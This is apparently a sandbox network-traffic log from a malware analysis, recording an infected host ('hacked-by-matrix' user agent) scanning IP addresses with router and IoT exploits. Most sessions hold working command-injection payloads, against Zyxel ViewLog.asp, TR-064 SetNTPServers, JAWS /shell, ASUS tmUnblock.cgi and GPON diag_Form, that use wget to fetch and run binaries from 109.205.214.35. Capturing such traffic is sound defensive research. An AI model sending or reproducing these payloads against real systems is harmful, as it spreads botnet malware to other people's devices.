Mar 21, 2024 05:18:38.433620930 CET	551	IN	HTTP/1.0 404 Not Found Date: Thu, 21 Mar 2024 04:18:25 GMT Server: Check Point SVN foundation Content-Type: text/html X-UA-Compatible: IE=EmulateIE7 Connection: close X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=31536000; includeSubDomains Last-Modified: Mon, 27 Apr 2020 15:08:47 GMT Content-Length: 204 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 20 34 30 34 20 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 20 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 3e 0a 0a 54 68 65 20 55 52 4c 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><TITLE> 404 File Not Found </TITLE></HEAD><BODY>The URL you requested could not be found on this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1220	192.168.2.13	47110	80.75.215.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.302511930 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:38.544985056 CET	874	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:16:46 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 Content-Length: 217 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 36 3a 34 36 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 36 20 28 43 65 6e 74 4f 53 29 20 50 48 50 2f 35 2e 34 2e 31 36 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:16:46 GMTServer: Apache/2.4.6 (CentOS) PHP/5.4.16Content-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1221	192.168.2.13	46492	200.87.157.10	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.302885056 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:38.546020031 CET	83	IN	HTTP/1.1 404 Not Found Connection: close Transfer-Encoding: chunked
Mar 21, 2024 05:18:38.546216965 CET	142	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 31 32 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 34 34 0d 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f Data Ascii: Content-Type: text/html12<h1>Not Found</h1>44The requested URL /cgi-bin/ViewLog.asp was not found on this server.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1222	192.168.2.13	49852	198.246.150.205	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.433440924 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:41.459847927 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:
Mar 21, 2024 05:18:47.603892088 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:
Mar 21, 2024 05:18:59.635855913 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1223	192.168.2.13	49974	198.246.150.205	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.555181980 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:38.932002068 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:
Mar 21, 2024 05:18:39.701059103 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:
Mar 21, 2024 05:18:41.203840971 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:
Mar 21, 2024 05:18:44.282985926 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:
Mar 21, 2024 05:18:50.423005104 CET	536	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <Ne Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1224	192.168.2.13	53536	23.34.110.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:38.912981987 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:40.310973883 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:41.943810940 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:42.203351021 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:42 GMT Date: Thu, 21 Mar 2024 04:18:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 39 65 35 35 64 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 32 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.9e55dc17.1710994722.0</BODY></HTML>
Mar 21, 2024 05:18:46.379431009 CET	438	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 216 Expires: Thu, 21 Mar 2024 04:18:42 GMT Date: Thu, 21 Mar 2024 04:18:42 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 50 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 37 26 23 34 36 3b 39 65 35 35 64 63 31 37 26 23 34 36 3b 31 37 31 30 39 39 34 37 32 32 26 23 34 36 3b 30 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Bad Request</TITLE></HEAD><BODY><H1>Bad Request</H1>Your browser sent a request that this server could not understand.<P>Reference #7.9e55dc17.1710994722.0</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1225	192.168.2.13	56976	137.22.108.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.463778019 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1226	192.168.2.13	60686	172.67.224.101	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.660219908 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1227	192.168.2.13	46858	172.65.242.211	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.660295010 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1228	192.168.2.13	41416	172.65.205.45	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.660387039 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1229	192.168.2.13	46510	172.65.198.221	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.749555111 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1230	192.168.2.13	34436	172.67.82.122	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.749751091 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1231	192.168.2.13	57682	172.65.253.36	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:39.749857903 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1232	192.168.2.13	55018	2.53.152.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:40.956621885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1233	192.168.2.13	54654	109.87.160.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:40.956691027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1234	192.168.2.13	54456	152.0.94.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:41.361438036 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:41.845468998 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:42.003479958 CET	337	IN	HTTP/1.1 200 OK Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:18:42.004061937 CET	1286	IN	Data Raw: 64 33 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 Data Ascii: d35<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=ut
